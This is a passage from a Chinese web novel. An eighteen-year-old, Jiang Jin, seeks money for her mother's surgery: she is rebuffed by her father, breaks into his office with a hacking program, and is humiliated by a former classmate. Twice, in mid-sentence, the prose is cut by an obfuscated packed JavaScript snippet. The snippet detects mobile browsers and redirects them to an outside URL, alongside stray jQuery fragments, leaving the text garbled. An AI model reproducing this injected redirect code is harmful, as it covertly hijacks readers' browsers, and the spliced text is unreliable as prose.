她就那样站在夕阳下,凄美得近乎虚幻,让人几乎惶恐于玫瑰的最后一片花瓣何时会凋零。 陈列几乎是立刻掐了烟向她走过去。 她扬起下巴冲陈列笑了下。 陈列霎时间明白了她要去哪,说:“我陪你。” 姜堇摇了摇头:“陈列,这是我自己的事。” 她平静得不似十八岁年纪,有股不顾一切的笃然之感。 陈列终是望着她的背影往远方走去。 - 姜堇下了公交,又走了好长一段路。 她脚上的一双小猫跟鞋是淘宝上百来块钱买的,材质粗劣,不断磨着她的脚后跟。 为什么这种有钱人的会所都开在鸟不拉屎的地方。 大概他们都开车,姜堇目光扫视过门口泊放的一辆辆豪车。 她走进会所,前台迎宾说“欢迎光临”时、目光顿在她的一身装扮上。 姜堇只当没察觉,在门口的红木官帽椅上坐下来。冷气开得极足,红木材质冰着姜堇的大腿根。 一名男侍应生走上前来:“请问女士喝点什么?”说话间不确定地与前台迎宾交换一个眼神。 “茶。”姜堇的语调没任何起伏:“普洱。” 男侍应生不确定地多问她一句:“请问女士今天过来是……” 姜堇犹自平静:“等人。” 她的态度太笃定,纵使周边的侍应生们频频交换眼神,她只当没看见。 门口偶有人路过,纷纷朝她瞧过来。姜堇睫毛垂着,端起茶盏喝一口普洱。 直到一个中年男人从会所内走出来。 相较于一般中年人油腻的脑满肠肥,他算得上清隽儒雅,一件蓝灰色商务衬衫被他穿得极为得体,与人们常戏谑的“卖保险的”相距甚远。 他的表情算是温和,唯独那一双眼,带着某种不易察觉的清寒淡漠。 他与商务伙伴们道别后,独自像门口走来。 姜堇便是在这时站起来,她挎一只黑色的小链条包,往会所里走去。与男人擦肩而过时,“不小心”撞到男人肩膀。 黑色链条包掉到地上时,她细细用方言说一声“不好意思”。 江城的方言酥糯极了。 男人颇有风度地蹲身替她捡起小链条包,递还她手里的时候看进她眼底。 姜堇回看着他,猫一般的眼线上挑着。 男人的眼中闪过惊艳。那一刻,姜堇的胃里翻江倒海。 她知道姜启川喜欢妩媚艳丽的类型。 她这副妆扮就是想试试,姜启川到底是独独喜欢当年的白柳絮,还是对这种类型一概通吃。 当姜启川眸中那抹惊艳一闪而过时,姜堇阖了阖眼,近乎荒唐地笑了—— 这么多年过去了,她从没找过姜启川。 因为白柳絮始终让她姓姜。无论当年继父如何暴跳如雷、甚至动手打人,白柳絮始终坚持。 姜堇发现一个可悲的事实——白柳絮爱姜启川。 无论白柳絮起初的目的是不是虚荣,但后来,她真的爱上了姜启川。她不愿打掉他的孩子,不要他的钱,大着肚子一个人跑掉。 她就是想告诉所有人,最重要是告诉她自己,她不要姜启川的钱。 姜堇恨白柳絮,也可怜白柳絮。她看着陷入过去回忆的白柳絮,想,白柳絮不要姜启川的钱,她也不能替白柳絮去要姜启川的钱。 她只动过一次念头,就是她太想摆脱这一切了,她想去找姜启川要出国的钱。 后来陈列给了她二十万,她便放弃了这个念头。 她发现她放弃的核心原因,其实是因为她不敢—— 她不敢去找姜启川。白柳絮的痴迷让她心中也存着某种幻想,就是白柳絮和姜启川当年是有真感情的。姜启川为家庭所迫,有太多的不得已。 所以才让白柳絮想了那么多年、念了那么多年。 但此时,姜堇站在冷气过分充足的会所大堂里,带着浓烈的妆,近乎凄艳地笑了—— 姜启川哪里是对当年的白柳絮情有独钟呢? 他根本就会看上任何一个妩媚明丽的年轻女子。只要她给机会,他便与她痴缠。 白柳絮这么多年的“疯”,彻底沦为了一个荒唐的笑话。 姜启川到底是在商场上摸爬滚打的人。他看着姜堇的眉眼,几乎是快速地明白了过来,蹙眉低声道:“你……” 姜堇明艳而笑:“姜总,有空聊两句么?” 她这副妆扮站在会所,几乎有被当成特殊职业者的风险,姜启川不会在大堂与她推拉,这是姜堇的另一重目的。 姜启川避开身后侍应生们一众探究的目光,把姜堇带进一个包厢。 一张巨大的商务圆桌,姜堇坐在一侧,姜启川坐在与她遥遥相对的另一侧,目光冷得发沉。 他开口:“你是当年……” 姜堇看着他。他浅棕色的瞳与她是那般肖似。她等着他说出白柳絮的名字,可他顿了顿,只是说:“她当年竟没把孩子打掉。” 姜堇笑了。 他已经不记得白柳絮的名字了。 她为他疯了半辈子,可他已经不记得她的名字了。 姜堇开门见山道:“她生病了,需要五十万做手术。” 姜启川皱眉道:“我怎么知道你是我……” 姜堇更加凄然地笑了。 她把黑色的小链条包打开,从里面掏出张叠了几叠的A4纸来,展开,放到可旋转的玻璃圆盘上推至姜启川面前。 那是亲子鉴定的复印件。 她早已处心积虑混入过姜启川参与的商务活动,拾获过姜启川的一根头发。 姜启川抬眸,眼神更为阴冷:“就算你是,可无论是你还是她……” 姜堇开口打断:“她叫白柳絮。” 姜启川一顿,重新说:“无论是你还是白柳絮,你们现在都与我无关。” 姜堇本想说:她爱过你。 可这句话在姜启川过分冷冽的眼神里,幼稚无谓得像幼儿园过家家。 冷气打得姜堇浑身发寒,她裹了裹身上的衬衫,看着姜启川:“我只要五十万,后续的医疗费我不管你要。五十万,可以救一条人命,你指缝里漏过的也不止这些。” 姜启川的眼神趋于阴鸷起来:“你现在说得好听,我开了这个口子,怎么知道你不会继续来找我要一百万、两百万、一千万?” 姜堇攥着手指说:“我可以写保证书。” 姜启川一声冷笑:“那有法律效力么?我告诉你,我一分钱都不会给你。我当年想给她钱,她跑了,从此她的事就跟我无关了。” 姜堇看着他,良久。 缓缓地说:“你把事做得这么绝,不怕我闹到你家里去么?” 陈列帮她黑进姜启川助理的电脑,她查过。 姜家当年算是阔绰之家,可是在接连两代几个纨绔子弟的挥霍下,很快就败了。当年姜启川急于结婚也是因为如此,他现在几乎是仰仗老婆的娘家过活。 姜启川嗤笑的声音愈发冷郁:“你倒可以试试看。” 他拂袖而去,路过姜堇身边的时候压低声:“我碾死你像碾死一只蚂蚁那样容易。” - 姜堇回到船舱,先是洗去一脸浓妆,又洗头洗澡,把头发吹至半干。 走上甲板的时候,看到陈列站在他那条船的甲板上,唇间的烟头明明灭灭。 臭水河是这样一片泥沼,暗黑的,城中村的灯光飘过来也照不透。 姜堇收回视线,在甲板上躺了下来。 陈列好似愣了下,跃下甲板,向她这边走来。 很快,她向天空仰望的视线里出现了陈列的一张脸。陈列俯看着她,问:“你这样不冷么?” 她摇了摇头,头发轻蹭在甲板上。她穿一身白T恤和牛仔裤,一脸纯素没有任何妆容,干净的,苍白的,躺在更深露重的甲板上。 可她真不觉得冷。 陈列没有拉她起来,反而在她身边躺了下来。 她望着天空说:“陈列,你看这臭水河上的天,真的一颗星星都没有。” 陈列听她说这样一句,已经知道了她今晚去找姜启川的结果。 陈列说:“我来想办法,不指望他。” “为什么?”姜堇说:“凭什么?” 她细瘦的手指攥成拳,一下下轻捶在甲板上。 咚咚,咚咚。 她没有哭,只是一下下地捶着甲板。 咚咚,咚咚。 陈列的心脏近乎抽痛起来。 从姜堇的船离开后,他先是给先前的合伙人们打了几个电话,说要借钱的事。 原本爽利的几人,此时支支吾吾起来:“列哥,不是我们不借给你。你也知道我们现在分头注册了两个公司,到处都是用钱的地方……” 陈列不是不理解他们。 他有这样一个父亲。他们怕他借钱去填他爸的窟窿,那怕是多少钱也不够。 陈列冒险坐大巴去了他们合租的公寓。 借钱这种事,总得当面说更有诚意。 他说明了姜堇母亲的情况,诚恳地说自己会写借条,写明还款日期。 几个男生对视一眼:“列哥,我们这样的关系,到时候你真还不出钱,我们也不能逼你……” 陈列:“我会还的,你们知道我的那个新程序……” 其中一人笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568736|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“我们这行有多少独角兽企业,倒台还不是一夜间的事,风险太大了,谁说得准呢?” 陈列手攥着钱,拇指一下下在食指上用力压着。 他终于知道他是说大话了。 或许姜堇永远是比他更清醒的那个。他们这样的处境,谁有义务来拉他们一把?根本是把自己也往泥坑里陷。 陈列又坐大巴回了江城。 他直接到拳馆,找到老板娘。他这段时间为了看着姜堇,拳馆的比赛都请假了。 他跟老板娘说:“我想预支五十万。” “多少?”老板娘笑了。 “五十万。”陈列说:“我下半辈子都可以留在这里替你打比赛。” 他何尝不知自己这是理智全无之语。 可他实在没办法了。他这才意识到他和姜堇十八岁的肩膀是多么单薄,如果可以的话,他甚至可以给人下跪,可下跪有用吗? 老板娘的指甲又换成了一种粲然的银,过长的甲片挑了挑他的下巴:“陈列,你这张脸长得是真不错,还有这身肌肉。” 她的指甲往下滑过陈列的肩:“可我实话告诉你,就算你在我这里被打死,我赔你一条命,也不会赔你那么多的钱。” 姜堇是次日傍晚去了那富人别墅区的。 今天她穿一件白衬衫,配七分的浅蓝牛仔裤,清新得仍像那个女高中生。站在棕榈掩映的花园铁门前,看着姜启川的妻子从奔驰保姆车下来,搬下婴儿车,又唤自己的大女儿下车。 她是去接大女儿放学。 看了姜堇一眼,叫迎出来的保姆:“先带曦婷去做作业。” 她带姜堇坐在客厅里,开门见山地说:“我和启川不会离婚的。” “你才多少岁?十八?”她看姜堇的眼神带上同情:“这些年像你这样找上门来的女孩子,不知多少个。你们不明白,启川不会同我离婚的,他仰仗着我家里,我家要维护形象,也不会让我同他离婚。” 姜堇轻声说:“不是我,是我母亲。” 女人的眼神终于震荡了下。 这时花园铁门传来开合的声音,一部车驶入,是姜启川下班回来了。 进门一见姜堇,露出厌恶神色去拉她胳膊:“赶紧滚。” 姜堇第一次觉得自己这么没脸没皮,她近乎哀求:“我只要我妈做手术的钱,不然她会死的。” 她说着阖了阖眼,想起被掼在菜市场地板上的那条鱼,所有的蹦跳挣扎都是无力。 姜启川嫌恶地说:“那跟我有什么关系?” 到底是姜启川的妻子不忍:“启川,五十万,你就给她吧。” 姜启川回头怒喝:“她们这样的人,胃口就是个无底洞!你真当五十万可以打发她们?不能开这个口子!” 他像对待乞丐一样把姜堇推出院外。 姜堇摔在铺鹅卵石的小径上,掌根磨破。 她爬起来的时候,天边残阳如血。她接到医生电话:“我知道你压力大,可我必须提醒你,你妈的病情拖不得了。” 姜堇抱着笔记本电脑去找陈列的时候,陈列立刻打开舱门让她进去。 她平静地把电脑放到矮桌上,可手臂在微微发颤。 陈列捉起她手腕:“手怎么了?” “这不重要。”她把手抽回去,问陈列:“能远程黑进姜启川的电脑么?找他犯错的证据,女人,经济,什么都好。” 陈列看着她,终是抚了抚她的额发。 “我试试。”他说:“阿堇,我试试。” 陈列此生从未经历过如此无助的时候。 想要远程黑进一台电脑,程序的复杂程度难以想象,更遑论姜启川现在在他老婆娘家的企业供职,防火墙极其严密。 他不眠不休两天两夜,下巴冒起一圈青色的胡茬。 姜堇没有来催促过他。 只是两天后的凌晨,他接到姜堇电话:“我发你一个地址,你过来一下。” 他匆匆赶过去。 那是一栋高耸的写字楼,黯蓝的玻璃切面让它耸立在夜色中、如一只未来宇宙的麒麟。 今夜的风大得发狂,陈列站在楼下仰着后颈,死死咬着自己的唇角。 他不能出声。 因为姜堇站在不知几层楼的窗边,高得不像话,风鼓噪着她的白衬衫猎猎作响,像随风扬起的翅膀,可她随时会有坠落的危险。 可她给陈列打了个电话,声音听起来那般平静:“喂,陈列。” 陈列听见自己的声音涩而发干:“阿堇,你在干什么?姜启川这样的人,自然有老天收拾他。你不要发疯,下来,我们想别的办法?” “真有别的办法可想么,陈列?”姜堇问。 陈列缄默不语。 “老天不会惩罚姜启川的,他们这样的人,只会安乐平顺地过一生。”姜堇笑着,让人想起那日她去找姜启川时、近乎凄艳的妆容。 她笑着说:“老天拔掉了我们这种人的翅膀,可是没关系,我可以用刀剜开自己的脊骨长出来。我妈的命,我不指望老天,我自己来救。” 她叫陈列:“把上次的那套程序给我,远程黑不进他的电脑,那我就自己闯进去。” 43. 发泄 陈列把那套程序发到了姜堇的手机上,听见自己的心脏在狂风中咚咚作响。 那层楼太高了,高到姜启川在窗边俯瞰整个江城、醉心于自己的版图时,并非时时记得关窗。 黯蓝窗玻璃在暗夜里变成巨兽酣睡时微张的嘴,姜堇单薄的身影几乎是被它吞没了进去。 直到姜堇的身影又一次出现在窗沿上。 人在紧张的时候会放大一切细节。 陈列记得姜堇背对着窗户站着,先是往下眺望了一眼,风鼓噪着她的长发,她似能御风而翔。 也记得姜堇拂开眼前荡涤的发,轻轻地对他笑了一下。 姜堇是笑了一下么?亦或那是他的幻觉? 陈列看着姜堇在当晚躁狂的风中往下攀爬,直到姜堇稳稳落地,他一言不发地走过去,才发现自己的掌心里被自己掐出了道道血痕。 竟也不觉得痛。 姜堇脱掉脚上的鞋套,叫他:“走。” 直至两人回到姜堇的船舱,陈列重又开始呼吸了。他问姜堇:“你疯了么?” 姜堇脸上却有股异常平静的神色,把U盘插上电脑。 她刚才用U盘把陈列发到她手机的程序导出来,植入姜启川的电脑,然后迅速拷贝了最可疑的那几个文件夹。 她真的有在好好研究电脑程序。当她纤白细长的手指在电脑上翩飞,检索着姜启川的那些资料时,她的动作已无比娴熟了。 然而没有。 什么都没有。 姜堇轻吐出一口气来,靠住船舱。 姜启川不可能是个没漏洞的人。只能说做到他这地步,比刘邺涵那种小角色要更为谨慎得多。 陈列说:“你知道这种手段拿到的证据,在法庭上本就是无效的。” 这种时刻他说这样一句话,是劝慰更多,还是告诫更多。 但姜堇没有崩溃。 姜堇挑唇笑了下。 今晚她穿一件白衬衫,一条浅灰色的窄脚运动裤,头发扎成马尾,脸上没有一点妆容,清新得像是可以去录制电视节目的女学生。可是她这般笑起来的时候,脸上的神情近乎魅惑。 两种极致的冲撞下,带来一种令人心悸的美感。 姜堇笑着问:“我有说我要告他么?” 她摇摇头:“陈列,我没有时间了。我是在跟死神抢时间。” 她的后脑抵在船舱的木板上,下巴微微往上仰起,好似在看头顶的一片星空。可这里是没有星空的,只有陈旧的腐败的散发着霉味的船舱顶,逼仄的,好似压迫得人无法呼吸。 姜堇的掌根搁在地板上,食指一下下无意识地敲击着。 哒哒,哒哒。 她的眼神望着船舱顶,说不上是在专注的想事,还是空洞的失神。 只是食指始终无意识地敲击着。 哒哒,哒哒。 让陈列想起两人躺在甲板上看天空的那夜,姜堇手攥成拳敲击着甲板。 咚咚,咚咚。 在陈列以为她情绪随时会崩溃的时候,她却保持了一种异样的平静。 第二天接到主治医生电话时,陈列和她一同去了医院。 姜堇走到病房门口,先是对着里面看了眼。出院一段时间对白柳絮的精神状态是有影响的,这时即便姜堇和陈列一同出现,白柳絮看向她的眼神依然警惕、戒备。 如果白柳絮认定她就是年轻时的自己,随时都会陷入癫狂。 姜堇对陈列说:“你去看看她吧,我先去找医生聊聊。” 她转身的时候依然平静。 只是背影在窗口透进的晨曦中那般单薄。 医生告诉姜堇:“按理说我们不该给病人家属这样的建议。可……” 他把各项检验报告推至姜堇面前:“你母亲的情况太特殊了,我们院里会诊过很多次,虽然按医学伦理我们不能对治愈率给出一个过分具体的数字……” 他低声劝姜堇:“如果你想提高手术成功的几率,你不如去找李教授,江城属他做这种手术最权威。李教授现在自己开医院,排期很满,我怕你再不去找,到时候筹到钱,时间上也来不及了。” 姜堇点点头:“谢谢医生。” 她站起来走出办公室,医生叫住她。 姜堇回眸,医生犹豫了下还是提醒:“你最好别去他办公室找,私下里找吧,你把手术加号这种事摆到明面上来谈,他按规矩是肯定不能接受的。” 姜堇仍是点点头:“谢谢医生。”便安静地走了出去。 医生叹了口气。 他这么多年见过太多病人家属,崩溃的,哭嚎的,指着他鼻子破口大骂甚至要对他动手的。可是这个瘦削的十八岁姑娘,她只是安静的、沉默的、过于平静的。 她看向世界的浅棕色瞳仁里甚至没有一种探究,探究世界为何要把这么多不公压在她单薄的肩膀上。 她只是以一种近乎超然的平静默默接受。 陈列从病房出来的时候,看到姜堇坐在走廊的等候椅上,并拢的膝头放着一叠检查报告。 上面有太多她看不懂的医学术语。 此时她握着手机,一个词一个词地去查。 陈列走过去问:“要去看看阿姨么?” 姜堇盯着那些检测报告头也没抬,指尖还在手机键盘上敲击着:“不去了。” 陈列在她身边坐下:“医生怎么说?” 姜堇:“说手术难度很大,让我去找李教授,看不能把我妈提前插进他的手术排期里去。” 陈列:“我陪你去。” 姜堇仍是低着头查那些检测报告,不说话,良久,她抬起头来:“陈列,你能去给我买一包曲奇饼干么?” - 陈列去医院超市买曲奇饼干。 买不到姜堇小时候吃的那种,他拿了两包在手里比对,企图凭包装上的图案判断哪款更接近姜堇的记忆。 涌到柜台结账的病人家属们,脸上都带着某种焦灼。甚至有两人为了谁先谁后的问题,一言不合打了起来。 陈列买完饼干走到医院花园,姜堇坐在长椅上等他。 她身边是盛开的杜英和虞美人,盛夏七月的阳光是一种接近炽白的颜色,洒落在她身上,让她一头长发变成一种浅浅的棕。 瞳孔的颜色也比平时更浅,通透的,注视着这个世界。 陈列走过去,坐在她身边,把手里的曲奇撕开了包装袋递她。 姜堇取出一块饼干来。 她只有吃曲奇的时候会这样小口小口用门牙咬,好像舍不得一口气吃完似的。 陈列叫她:“阿堇。” “嗯?”她唇角沾一点饼干碎屑,让陈列很想伸手帮她抹掉。 “你想说点什么吗,或者……哭?” 陈列不确定她这样的性格,发泄情绪的方法会不会是哭。 姜堇摇摇头,反问:“为什么要哭?” 她吃完整块饼干,缓缓吐出一口气来,说:“好甜。比我小时候吃的那种甜多了。” 陈列忽然想,在小时候的姜堇眼里,也许她继父那样地殴打她母亲,也是天塌了一般的事。 可姜堇吃一块曲奇饼干,又能撑过去。 或者说,姜堇吃一块曲奇饼干,只能撑过去。 姜堇:“陈列,你别跟我一起去找李教授,你多来陪陪我妈吧。反正……她也不想看见我。” “我会来看阿姨。”陈列:“我也会陪你去找李教授。” 姜堇摇摇头:“可是我不想。” “为什么?” “为什么啊……”姜堇轻轻地笑了笑,食指指腹摁在木椅边缘摩挲了下:“因为我什么都没有了,只有尊严。” 她看向陈列:“我不想你看见我求人。至少在你眼里,我希望我是有尊严的样子。” - 陈列终是没有再坚持。 他揽下了这段时间照顾白柳絮的所有事。以至于病房里其他家属和新来的护士,都以为他是白柳絮的儿子。 甚至有时白柳絮因药物副作用无法自控地拉了满床,护士来不及收拾,也是陈列自己收了床单拿去洗。 姜堇去找李教授时,发现命运同她开了一个巨大的玩笑。 李教授的医院名叫“仁爱”,姜堇站在楼下,看着夕阳照在那烫金的隶书大字上熠熠生辉。她等很久了,以至于嗓子有些发干。 她盯着医院门口,心里反复放映着医院网站所载李教授的照片,企图从下班的医生间一眼把她认出来。 可李教授的确很忙。 六点。 七点。 八点。 直到夜里十点。 一个看上去十分严厉的中年男人从楼栋里走了出来,带着种侃然正色的气度。他拎着包匆匆往一辆迈巴赫,还未走近,手里的钥匙已咔一声解锁。 看起来是个时间观念十分严谨的人。 姜堇咽了咽发干的喉咙,刚要走上前去。 发现他身边还跟着个年轻的女孩。 “爸,我等你下班等到现在哎!你就说今晚给你点的外卖,是不是你最爱吃的吧。” “我累极了,别拿你那些事来烦我。” “可妈就是不同意我去那场演唱会啊!你给我买演唱会票和机票,就说你送我去哪个夏令营了。爸爸——亲爱的爸爸——” 男人终是笑了:“真是拿你没办法。” 姜堇此生没有任何对父亲撒娇的经验。 她也是此时才发现,原来看起来再严厉的男人,面对自己真正喜爱的女儿也会和软了态度。 车灯一闪,等姜堇看清那女孩的面容,脚步想刹车已然来不及了。 李教授和那女孩已一同朝她看了过来。 姜堇下意识地攥了一下拳。 她很久没有睡着觉了。今天来之前没有刻意打扮过,穿一件揉皱的白T恤,七分牛仔裤下是一双极旧的帆布鞋,面孔瘦得凹陷下去,头发也几天没洗了,扎着马尾仍能看出油腻。 模样不是不狼狈。 “姜堇?”女孩看向她时声音难掩惊讶:“你不是已经去英国了么?你怎么……” 等在车灯下看清姜堇的一身装束时,眼神瞬间变得玩味起来。 挑着眼角问:“怎么,你家破产啦?” 姜堇紧紧地攥着拳。 李教授的女儿,怎么会是李黎? 李黎转头对李教授说:“爸你先回去吧,这是我高中同学,我跟她聊会儿。” 李教授皱眉:“这都几点了?” 姜堇:“不如我们去你家……” “不。”李黎笑道:“不方便。”又转头对李教授:“放心啦,我们找个清吧坐坐,你不放心的话看我手机定位不就好了?” “好罢好罢。”李教授看起来疲累极了,拉开车门欲坐进去。 姜堇快跑两步追过去:“李教授,我妈妈需要做骨髓移植手术,我和李黎是很好的朋友,拜托你……” 李教授厌倦地一挥手:“人人都这样私下来找我,沾亲带故的,我哪里管得过来?对其他病人又公平吗?请你走正规渠道去排号好吧?” 他重重地一摔车门。 扬起的风扑在姜堇鼻尖上。 直到车远远驶离,李黎才在姜堇身后笑道:“没用的啦,你来之前没在网上查一查么,每天有多少病人想来找我爸加号,他怎么可能给你开后门?这公平么?” 姜堇缓缓地转过身来,面对着李黎。 公平? 她固然知道这是不公平的,可她妈命悬一线。 李黎的头发在高考后烫了大卷,冷调的浅栗色。此时她理了理发尾,问姜堇:“我们什么时候是很好的朋友了?嗯?” 那一声“嗯”带一点点娇嗔,戳在姜堇的心口上。 姜堇深吸一口气:“李黎,我们聊聊行吗?” “行啊。”李黎:“我爸医院附近就有间清吧,我们过去吧。” 两人进去坐下,李黎点了杯鸡尾软饮,姜堇付了钱,自己要了杯白水。 她抿一口润了润发干的喉咙:“李黎……” 李黎打断她:“你为什么没去英国?” 吧椅有一些高度,李黎穿一双奢牌新出的小高跟鞋,一下一下地晃着脚。 姜堇垂眸盯着她闪闪发亮的鞋面,闪光的logo刺着姜堇的眼睛。 李黎:“你知道我爸这人,工作狂,快四十岁的时候才生了我。” 姜堇抬起头来看着她。 李黎笑道:“你应该在网上查了不少贴子吧,我爸不可能给人加号的,你今天过来应该只是抱着侥幸心理姑且一试。” “我跟你说这些话的意思是……”她说着又轻巧地晃了一下脚:“我爸老来得女,对我宠得很。就算我妈求他都没用的事,他也只会因为我改变想法了。” 她盯着姜堇,敛了笑意:“高中三年,我始终觉得你这人有问题。人人却都说是因为你长相好、成绩好、家境好,我是嫉妒你。” “倒害得我成了所有人眼中的跳梁小丑。”李黎目光变得阴鸷起来:“今天你倒是说说看,到底怎么回事?” 姜堇点点头:“好,我说。” 不就是尊严吗? 不就是她赖以为生的、撑着她在一片绝境里求生的尊严吗? 她不要了还不行吗? 李黎却笑了:“等等,我一个人听不够。” 她站起来,轻巧地跳下吧椅:“明晚七点,我发地址给你。你一定要来喔。” 李黎朝姜堇挥挥手,拎着她的奢牌小包走了。 第二天是个阴天,天空沉郁得像是要下起今年夏天最后一场暴雨。 姜堇仍是没洗头,穿昨天那件揉皱的白T恤,丝毫没化妆,纵使她这般清丽的一张脸,也因凹陷的脸颊和眼下过分明显的黑眼圈,而变得憔悴起来。 她知道李黎想看她这副模样,便以这副模样出现。 地址发过来时,姜堇已知那是一家餐厅。当服务员引着姜堇往一个包厢走时,她仍是阖了阖眼。 包厢门推开,一张圆桌边坐满了姜堇的高中同学,个个都是跟姜堇关系还不错的那种。 李黎坐在首席看着姜堇,笑得暧昧。 “姜堇?”其中一个女孩看姜堇这副模样,讶异出声:“你怎么……” 李黎笑着招呼:“姜堇,进来呀。” 姜堇进门后,先垂眸扫了眼桌上的菜。波龙,小羊排,这一桌不知价格几许。 李黎没叫姜堇坐下,先是拿手机拨了个电话出去。 “喂?”李黎打电话时,仍是抬眼笑看着姜堇:“杜珉珉。” “干嘛啦李黎?我正跟我妈逛街哎。”杜珉珉明亮的声音传来。 杜珉珉高考成绩虽是不错,但几番权衡下,上得了好大学就上不了好专业,上得了好专业就上不了好大学,杜珉珉又不想吃复读的苦。她父母索性痛下决心,不再舍不得女儿,替她在法国找了所大学。 杜珉珉早已远赴法国。 “不是我找你。”李黎对着手机笑道:“是姜堇找你。” “姜堇?”杜珉珉的声音一瞬收起了不耐,变得格外期待起来:“真是你吗?你怎么跟李黎在一起?为什么都不联系我?” “她可能,”李黎含笑道:“不敢联系你吧。” “什么意思?”杜珉珉问。 在场的一桌人,神经再钝也知道今天这顿饭不对劲了。李黎没挂断电话,对着姜堇说:“你讲讲看吧。” 姜堇压低下巴,在李黎看不到的角度,自嘲地挑了挑嘴角。 太自大了啊姜堇。 那天她从医生办公室出来,坐在医院花园里等着陈列给她买饼干时,望着眼前通透的阳光,心里其实一种趋于麻木的平静。 她是真的没有想哭。她只是想—— 来吧。 她倒要看看命运还能加什么样的砝码在她身上。 可每每她以为上天的牌已打完时,竟还能再给她来个王炸。 她敛了唇边自嘲地笑意,才抬起头来看着李黎。 李黎最易被她的这副神情激怒,那种平静的、却又带一点傲带一点倔的神情。李黎点点头:“你不好讲的话,就回答我的问题吧。” 李黎看着姜堇:“姓名?” 一桌人也看着姜堇。人人都想:那么清冷又生人勿近的姜堇,怎么会配合李黎呢? 可姜堇深吸一口气,站在墙角,开启近乎起了死皮的唇:“姜堇。” 李黎眼底的笑意更甚:“性别?” “女。” “年龄?” “十八。” “住址?”李黎的语气变得玩味起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573987|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜堇调整着自己的呼吸,终是说:“江城城郊,臭水河边的破船上。” 她本能地阖了阖眼,又强迫自己张开。 强迫自己的视线扫过在座的每一张脸,看那些面孔上出现或讶然、或疑惑、又或夹杂一丝同情的神色。 包括电话那头、陷入沉默的杜珉珉。 姜堇觉得心脏发涨。那些神色里她最不想看见的,便是同情。 可她如同往伤口上洒腐药、强迫自己一张张面孔的、仔仔细细地看下去。 其中一个男生看向她的神情很复杂。 他并不能算作跟姜堇关系不错的同学之列。姜堇想起来,他高二时给自己递过情书。 当姜堇发现李黎的视线定格在那男生脸上时,她后知后觉地发现——哦,原来李黎喜欢他。 李黎继续问:“所以你在高中三年里?” “撒谎。” “你那在毛里求斯经商的父母?” “编的。” “为什么要这样做?” 姜堇轻轻地攥了一下拳,又松开:“因为我虚荣。” 她的脸色平静极了。 到此时她的心脏已感受不到任何针扎了,只陷入一种平静的麻木里。她甚至觉得双耳有微微的耳鸣,看向这一桌人的视线带上了某种奇怪的鱼眼滤镜。 双唇微微发麻。 杜珉珉在电话里说:“李黎,不要这样。姜堇只是……” “只是什么?”李黎的声音尖锐起来:“只是犯了个人性皆有的小错误?她骗了我们三年!三年!她装得多像啊!” 她看向姜堇的眼神,终于露出赤裸裸的嫉恨来。 她拿起筷子叫其他人:“吃吧,不然菜要凉了。” 她从头到尾没有招呼姜堇。 姜堇站在角落里,看着满桌人几乎以一种诡谲的寂静吃完了整顿饭,只听到碗筷碰撞的声音。 直到一顿饭吃完,同学们纷纷离去。 他们擦过姜堇身边时,姜堇往旁边让了让。 李黎挽着她最好闺蜜的手臂,凑近闺蜜耳旁,掩着嘴,声音却并未压低:“你看她的头发,会不会沾着臭水河的味道……” 姜堇深吸一口气,走到前台准备结账。 李黎站在她身后:“不用了,我已经提前买过单了。” 姜堇回过头来。 李黎已经让闺蜜先离开了,只剩她自己站在那里,远远地,像与姜堇形成对峙之势。 她笑道:“别弄得像我在欺负你一样。我只是揭穿你的真面目,我没做错什么。” 姜堇点点头。 李黎拎着包转身向外走去,姜堇快跑两步追上她:“我妈妈手术的事……” 李黎瞥姜堇一眼:“既然我只是做了我应该做的事,又不欠你什么,为什么要帮你这么大一个忙?” 她往餐厅外走去。 天地间一声惊雷,大雨茫茫而至。这个夏天永远泛着潮气,雨水却少。姜堇记得上一场这般的暴雨,是在她准备出国前三天的时候。 那时她和陈列一起,待在陈列给她租来的房子、属于她那间小小的卧室里。 床头一盏昏黄的台灯,映得房间像一个小小温暖的山洞。躲在这里,就可以不问外界的风雨。 李黎是这家餐厅的会员,找前台要了把伞,撑着走出去准备开自己的车。 那是她高考后她爸给买的,一辆小小的越野。她觉得有些便宜,才六十万。 姜堇一路追着她:“那你想要我怎么做?” 李黎又瞥姜堇一眼,小高跟鞋踩着四溅的雨水,打落在姜堇脏掉的帆布鞋面上。 暴雨落得地面很快汇成涓涓水流,姜堇的一双帆布鞋早已浸湿。 她感到自己浑身都在发抖,齿关不停地叩。说不上是因为冷,还是因为心底某种她自己已察觉不到的情绪。 旁边鳞次栉比的高楼,霓虹在暴雨冲刷下有种近乎赛博风格的美感。姜堇发着抖,那些霓虹不属于她,就像江城CBD街道上那些闪耀的圣诞灯球,从未属于她和陈列一样。 李黎:“你这话怎么说的?什么叫我想要你怎么做?” 姜堇的脚步打了个绊。她终于意识到——李黎“不想”要她做什么,因为李黎不愿意当坏人。 一切不是李黎想要她做的,而是她自己心甘情愿做的。 姜堇开口,雨水汩汩地灌入她唇间,她知道自己现在的模样要多狼狈有多狼狈:“我给你跪下好吗?” 她何尝不知李黎未见得需要她跪下。 可她还能掏出什么来呢? 她已经把自己掏空了,唯一还能往外掏的只有仅存的一点自尊。 李黎讥讽地笑看着她。 夜晚八九点种的光景,不少食客从餐厅出来,举着伞纷纷往自己车上奔逃。有些没开车来的,不得不坐在餐厅玻璃透明的吧台喝一盏茶,等司机或家人来接。 